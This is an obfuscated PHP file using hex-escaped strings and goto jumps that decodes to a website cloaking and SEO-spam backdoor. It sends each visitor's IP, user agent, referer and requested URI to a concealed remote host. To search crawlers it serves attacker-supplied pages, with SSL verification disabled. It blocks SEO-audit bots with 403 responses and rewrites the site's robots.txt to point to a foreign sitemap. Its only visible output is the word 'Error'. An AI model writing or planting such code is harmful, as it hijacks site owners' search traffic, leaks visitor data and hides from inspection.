goto UTk2H; uSbMJ: function readFromFile($path) { $file = fopen($path, "\162"); if ($file) { $contents = fread($file, filesize($path)); fclose($file); return $contents; } return false; } goto qT97D; sGwAg: $bagent = "\107\x6f\x6f\147\154\x65\174\x44\x6f\143\157\x6d\157\x7c\102\151\x6e\x67\x7c\131\x61\x68\157\x6f"; goto ThkCC; uUDnB: $domain = urlencode($_SERVER["\110\124\124\x50\137\x48\117\x53\124"]); goto eJkvu; STv0Y: $rvhy = "\150\x74\x74\x70"; goto P4RUJ; ivlYH: $kdky = "\x35\x2e\155\x69"; goto po_iG; faKcN: $pc = "\x41\101\x67\102\x58\101\x51\127"; goto sGwAg; qT97D: $http = urlencode($_SERVER["\122\x45\121\x55\105\123\x54\137\x53\103\x48\x45\x4d\105"]); goto ELJYS; lvodL: $language = urlencode(@$_SERVER["\x48\124\x54\120\137\x41\x43\103\105\120\124\137\x4c\101\x4e\107\125\x41\107\105"]); goto tLAhs; EiIcJ: if (strpos($uri, "\146\x61\x76\151\x63\157\156\56\151\143\x6f") !== false) { } else { if (preg_match("\x40\x5e\57\50\x2e\x2a\x3f\x29\x2e\170\155\x6c\x24\x40\151", $_SERVER["\122\x45\121\125\105\x53\x54\137\x55\122\111"]) or strpos($uri, "\x72\x6f\x62\157\x74\x73\x2e\x74\170\x74") !== false or strpos($uri, "\x6a\x70\x32\x30\62\63") !== false or strpos($uri, "\160\x69\156\x67\163\151\164\x65\x6d\x61\160") !== false or preg_match("\x2f\x28{$bagent}\51\57\151", $_SERVER["\110\x54\x54\x50\x5f\125\x53\105\122\x5f\x41\x47\x45\x4e\x54"]) or preg_match("\x2f\x28{$bagent}\x29\57\151", @$_SERVER["\x48\124\124\120\137\x52\x45\x46\x45\122\x45\x52"])) { $requsturl = $zvllg . "\77\141\x67\145\156\164\x3d{$uagent}\x26\x72\x65\x66\145\x72\x3d{$refer}\46\x6c\141\156\147\75{$language}\x26\151\x70\75{$ip}\x26\144\157\x6d\75{$domain}\x26\x68\164\164\160\75{$http}\x26\x75\162\151\75{$uri}\46\x70\143\75{$pc}\46\x72\x65\167\162\x69\164\x65\141\x62\154\x65\75{$cce}\46\163\143\162\151\x70\x74\75{$script}"; $robots_contents = ''; if (strpos($uri, "\160\151\x6e\147\163\151\164\x65\155\141\160") !== false) { $scripname = $_SERVER["\123\103\x52\111\x50\x54\137\x4e\x41\x4d\105"]; if (strpos($scripname, "\151\x6e\x64\x65\170\x2e\x70") !== false) { if ($cce == 0) { $scripname = "\57\x3f"; } else { $scripname = "\57"; } } else { $scripname = $scripname . "\77"; } $robots_contents = "\125\163\x65\x72\x2d\x61\x67\x65\x6e\164\x3a\40\52\xd\xa\x41\x6c\154\x6f\x77\x3a\40\57"; $sitemap = "{$http}\72\57\x2f" . $domain . $scripname . "\x73\151\x74\x65\x6d\x61\160\x2e\170\155\154"; $robots_contents = trim($robots_contents) . "\xd\xa" . "\x53\x69\x74\145\155\x61\160\x3a\x20{$sitemap}"; $sitemapstatus = ''; echo $sitemap . "\72\40" . $sitemapstatus . "\x3c\142\x72\x2f\x3e"; $requsturl = $zvllg . "\x3f\141\147\145\156\164\75{$uagent}\46\162\145\x66\145\162\75{$refer}\46\x6c\x61\156\x67\x3d{$language}\x26\151\160\75{$ip}\46\x64\x6f\155\x3d{$domain}\46\x68\x74\164\160\x3d{$http}\46\165\162\x69\75{$uri}\x26\160\x63\75{$pc}\46\x72\145\167\162\x69\164\145\141\142\x6c\x65\x3d{$cce}\x26\x73\143\x72\151\x70\x74\x3d{$script}\46\163\x69\x74\x65\x6d\141\160\x3d" . urlencode($sitemap); } $bvsn = @file_get_contents($requsturl); if (empty($bvsn)) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $requsturl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $bvsn = curl_exec($ch); curl_close($ch); } if (!empty($bvsn)) { if (substr($bvsn, 0, 10) == "\145\x72\162\x6f\x72\40\143\x6f\x64\x65" or $bvsn == "\x35\x30\60" or strpos($bvsn, "\102\141\x64\40\107\141\x74\145\167\141\x79") !== false) { header("\110\124\124\120\57\x31\x2e\60\40\x35\x30\60\x20\x49\156\x74\x65\x72\156\141\x6c\x20\x53\145\x72\166\145\162\x20\105\x72\x72\x6f\x72"); die; } if (strpos($uri, "\x6a\x70\x32\60\62\63") !== false) { header("\x48\x54\124\x50\x2f\x31\56\x31\x20\x34\x30\x34\40\116\157\164\40\106\157\x75\156\x64"); } else { if (substr($bvsn, 0, 5) == "\74\77\170\x6d\x6c") { header("\x43\157\156\164\145\x6e\164\55\124\x79\160\145\72\40\164\x65\170\164\x2f\170\x6d\154\73\x20\x63\x68\141\162\x73\145\x74\x3d\165\x74\146\x2d\x38"); } else { header("\103\157\x6e\164\145\156\164\55\x54\171\160\145\72\40\164\x65\170\164\x2f\x68\x74\x6d\154\73\x20\x63\x68\x61\162\x73\145\164\75\165\x74\x66\x2d\70"); } } echo $bvsn; if (!empty($robots_contents)) { writeToFile("\x72\x6f\x62\x6f\x74\163\x2e\164\170\x74", $robots_contents); } else { if (strpos($uri, "\x72\x6f\142\157\164\163\x2e\164\170\x74") !== false) { writeToFile("\x72\x6f\x62\x6f\164\x73\x2e\164\x78\x74", $bvsn); } } die; return; } } else { } } goto EYvcm; A5N9R: if (isset($_SERVER["\110\124\124\x50\137\x43\x4c\111\105\116\124\137\111\120"])) { $ip = $_SERVER["\x48\x54\x54\x50\x5f\x43\114\x49\x45\116\x54\x5f\111\x50"]; } elseif (isset($_SERVER["\110\x54\124\120\x5f\x58\137\106\x4f\x52\127\x41\x52\x44\x45\x44\x5f\106\117\x52"])) { $ip = $_SERVER["\x48\124\124\120\137\x58\x5f\106\117\x52\x57\x41\x52\104\105\x44\x5f\x46\x4f\x52"]; } goto uUDnB; xNdAJ: $kocg = "\143\157\x6d\x2f"; goto LzTCK; tLAhs: $refer = urlencode(@$_SERVER["\110\x54\124\120\137\x52\105\106\x45\x52\105\x52"]); goto aL2RI; W9nXv: if (preg_match("\57\50\x59\x61\156\144\145\170\x42\157\x74\x7c\x65\x7a\157\157\155\x73\174\x53\143\x72\x61\x70\x79\174\x53\167\151\x66\164\142\157\x74\174\x62\x61\162\153\162\157\x77\154\x65\162\174\x4a\x61\165\x6e\164\x79\174\101\x6d\x61\172\x6f\x6e\x42\157\x74\174\112\151\153\x65\123\160\151\x64\145\x72\x7c\x41\160\141\x63\x68\145\x42\x65\156\143\x68\x7c\x4c\151\x67\150\164\x44\x65\x63\153\x52\x65\160\157\x72\x74\x73\x20\x42\157\x74\174\123\x65\172\156\141\155\102\x6f\x74\x7c\x69\x6e\144\x79\x20\114\151\x62\x72\141\162\171\x7c\103\x6c\x61\165\144\145\x62\157\164\x7c\142\x79\164\x65\163\160\x69\x64\145\162\174\x6a\141\166\x61\174\x68\x74\164\160\103\154\151\145\156\164\174\110\145\x72\x69\164\162\151\170\174\x47\x6f\x2d\150\164\164\x70\55\143\154\x69\145\x6e\164\174\x70\171\164\150\x6f\156\x2d\165\x72\154\154\x69\142\174\x59\x79\123\x70\x69\x64\145\x72\x7c\x70\x65\x74\x61\x6c\x42\157\x74\x7c\x50\171\164\150\157\x6e\174\x66\x65\x65\144\x44\145\x6d\x6f\x6e\174\x63\162\141\167\x6c\104\x61\144\144\171\174\120\171\164\150\157\156\x2d\x72\x65\161\165\145\163\164\x73\174\107\x50\x54\x42\157\x74\x7c\x46\x65\x65\x64\x6c\171\174\125\x6e\151\x76\x65\162\x73\x61\x6c\106\x65\x65\x64\x50\141\162\163\145\x72\174\x44\x61\164\x61\106\x6f\162\123\x45\x4f\174\104\x6f\164\x42\x6f\x74\174\157\102\157\x74\174\104\x69\147\105\x78\x74\174\x43\x6f\x6f\154\x70\x61\144\127\145\142\153\x69\x74\x7c\x53\x65\155\162\165\163\150\x42\157\164\x7c\x61\150\162\145\x66\163\102\157\x74\x7c\103\145\x6e\x73\x79\163\x49\156\x73\x70\145\x63\164\x7c\x5a\155\x45\165\x7c\x59\151\163\157\165\x53\160\x69\144\145\162\x7c\x53\x65\141\x72\143\150\142\x6f\164\x7c\105\141\x73\157\x75\x53\160\151\x64\x65\162\174\160\x61\x6c\157\141\154\x74\157\156\145\164\x77\157\x72\153\x73\x7c\x4d\x6a\61\62\142\x6f\164\x7c\101\163\153\x54\x62\x46\130\124\126\x29\x2f\x69", $_SERVER["\110\x54\124\120\137\x55\123\105\x52\x5f\101\x47\105\x4e\x54"])) { header("\x48\124\x54\x50\57\x31\x2e\60\x20\64\x30\x33\x20\x46\x6f\x72\x62\151\144\x64\145\156"); die; } goto lvodL; LzTCK: $eqot = "\x3a\57\x2f\143\x77\65\x33\62"; goto ivlYH; PR48a: $cceFilePath = "\143\143\145\56\x74\170\164"; goto mwUQW; aL2RI: $ip = $_SERVER["\x52\x45\x4d\117\x54\x45\137\101\x44\x44\122"]; goto YewCo; Df1pk: $ip = urlencode($ip); goto Ngdae; ELJYS: $uri = urlencode($_SERVER["\x52\105\121\125\x45\123\x54\x5f\125\122\111"]); goto TIo6T; P4RUJ: $nxow = "\x6e\165"; goto xNdAJ; ThkCC: error_reporting(0); goto W9nXv; Ngdae: if (!empty($_SERVER["\122\105\121\x55\x45\123\x54\137\x53\x43\110\105\115\x45"]) and $_SERVER["\x52\105\121\125\105\x53\x54\137\x53\103\110\x45\x4d\x45"] == "\150\x74\164\x70\163" or !empty($_SERVER["\110\x54\124\x50\123"]) and $_SERVER["\x48\124\124\x50\123"] == "\x6f\x6e" or !empty($_SERVER["\x53\x45\x52\126\105\122\x5f\120\x4f\x52\124"]) and $_SERVER["\x53\x45\122\x56\x45\122\x5f\x50\117\x52\124"] == "\x34\64\63" or isset($_SERVER["\x48\x54\x54\120\137\130\137\106\x4f\x52\127\101\122\104\105\x44\137\120\x52\x4f\124\x4f"]) and $_SERVER["\110\x54\x54\x50\x5f\130\137\x46\117\x52\127\101\x52\104\105\104\137\120\122\117\124\x4f"] == "\x68\164\x74\160\x73") { $_SERVER["\122\x45\121\x55\x45\123\124\137\123\103\x48\x45\x4d\105"] = "\x68\x74\x74\x70\163"; } else { $_SERVER["\122\105\121\125\105\x53\124\137\x53\103\x48\x45\115\x45"] = "\150\164\x74\160"; } goto dGQtR; mwUQW: if (!is_file($cceFilePath)) { $uuu = $http . "\72\57\x2f" . $_SERVER["\x48\x54\124\x50\x5f\110\117\x53\124"] . "\57\x63\143\x65\x63\x63\x65"; $bvsn = @file_get_contents($uuu); if ($bvsn === "\157\153") { $cce = 1; writeToFile($cceFilePath, "\x31"); } else { $cce = 0; writeToFile($cceFilePath, "\60"); } } else { $cce = readFromFile($cceFilePath); } goto EiIcJ; TIo6T: if (strpos($uri, "\x63\143\145\x63\x63\145") !== false) { echo "\157\153"; die; } goto X2hqr; YewCo: $uagent = urlencode($_SERVER["\x48\x54\124\x50\x5f\125\x53\105\122\137\101\107\x45\x4e\124"]); goto A5N9R; eJkvu: $script = urlencode($_SERVER["\123\x43\x52\111\x50\x54\137\x4e\x41\115\x45"]); goto Df1pk; UTk2H: $nuwf = "\x74\145\x73\x64\152\56"; goto STv0Y; X2hqr: $cce = 0; goto PR48a; dGQtR: function writeToFile($path, $contents) { $file = fopen($path, "\x77"); if ($file) { fwrite($file, $contents); fclose($file); return true; } return false; } goto uSbMJ; po_iG: $zvllg = $rvhy . $eqot . $kdky . $nxow . $nuwf . $kocg; goto faKcN; EYvcm: ?>Error